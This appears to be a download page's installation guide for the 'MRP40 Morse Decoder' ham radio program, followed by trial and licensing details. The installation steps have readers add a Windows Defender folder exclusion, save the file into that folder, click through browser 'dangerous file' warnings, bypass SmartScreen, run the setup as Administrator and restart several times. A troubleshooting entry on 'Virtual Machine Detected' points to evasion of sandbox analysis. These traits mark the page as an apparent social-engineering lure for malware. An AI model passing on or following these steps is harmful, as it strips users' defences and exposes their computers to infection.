Installation Guide: MRP40 Morse Decoder

"Rest assured, this software has been thoroughly tested and is verified to be 100% safe."

Since browsers and antivirus programs often flag the MRP40 Software as a "false positive", please follow these steps exactly to enable download and installation:

1. Create the Target Folder

Open Windows Explorer, go to C:\Program Files (x86) and create this folder structure:

C:\Program Files (x86)\HamRadioSoftware\MRP40 Morse Decoder V67

2. Add Antivirus Exclusion & Restart

Open Windows Virus & threat protection → Manage settings.
Scroll to Exclusions → Add or remove exclusions.
Select Add an exclusion → Folder and pick the folder you just created.
IMPORTANT: Perform a System Restart now.

💡 Critical Note on How to Restart:
Please use ONLY the official Windows menu (Start → Power → Restart). Do not use the physical power button.

3. Prepare Browser for Download

⚠️ Avoid Deletion: To prevent Windows Defender from "intercepting" the file, you must save it directly into the excluded folder.

Set your browser to ask for the save location:

Edge: Settings (...) → Downloads → Enable: "Ask me what to do with each download".
Chrome: Settings (⋮) → Downloads → Enable: "Ask where to save each file before downloading".

4. Download the Software

⚠️ CRITICAL: Complete steps 1, 2, and 3 first!

STEP A: Prepare the File Path

Copy this path now. You must paste it later into the "Save As" window of your browser:

C:\Program Files (x86)\HamRadioSoftware\MRP40 Morse Decoder V67

ACTION: Start Download

STEP B: If Browser blocks Download

If your browser shows a warning, you must manually allow the file:

Edge: Click (...) → Keep → Show more → Keep anyway.
Chrome: Press Ctrl + J → Keep dangerous file → Confirm.

5. Run Installation & Final Initialization

Open the folder:
C:\Program Files (x86)\HamRadioSoftware\MRP40 Morse Decoder V67
Right-click the file Setup_MRP40v67.exe → Run as Administrator.
SmartScreen: Click "More info" and then "Run anyway" if prompted.
Important: Ensure the installer uses the path above. Do not change it.
FINAL STEP: Perform two more System Restarts, one after another in a row.

⚠️ EMERGENCY HELP & TROUBLESHOOTING

1. How to Restart (Critical):
Always use the official Windows menu: Start → Power → Restart. Never use the physical power button on your PC!

Error: "Virtual Machine Detected"
If this occurs: Save all work, close all apps, and perform two more System Restarts in a row via the Windows menu.

MRP40 Error Messages:
If MRP40 displays any error message right at the start, you must run the setup again to repair it.

How to find the folder & setup file:
1. Right-click the MRP40 icon on your Desktop.
2. Select "Open file location". This opens your installation folder directly.
3. Right-click Setup_MRP40v67.exe and select "Run as Administrator".

(No need to download the file again!)

Additional Information

On your Desktop the icon "MRP40 Tools" provides a number of tools to manage essential topics. Please study the Readme text file inside the individual folder and learn how to:

Set Audio devices and their volume
Identify COM Port Number of your external interface box or radio
Transfer your License Key to a new computer
Access items inside the MRP40 Program folder

Note: MRP40 will not run on virtual machines.

Read and print the Tips 'n Tricks – they are essential to achieve best decoding results.

Warning: In case you do apply illegal Cracks or KeyGen to MRP40 then for sure you will face a lot of frustration caused by that! So you'd better consider not to do that!

Registration Information

You can install the MRP40 on several Computers for evaluation. The evaluation time is 30 days. Continued use of MRP40 requires registration (purchase).

Before you purchase an Unlock Code to upgrade to the full version you must decide on which Computer you want to license the MRP40 software. When ordering, you must send us the Registration ID of the trial installation that is on your target computer.

To view the Registration ID: Run MRP40 and click -Info -English -Copy Registration ID.

The provided Unlock Code is licensed for use by a single user on a single computer. If you need an additional Unlock Code (e.g., for your laptop), please let us know via email. We will supply the additional Unlock-Code free for your personal use only.

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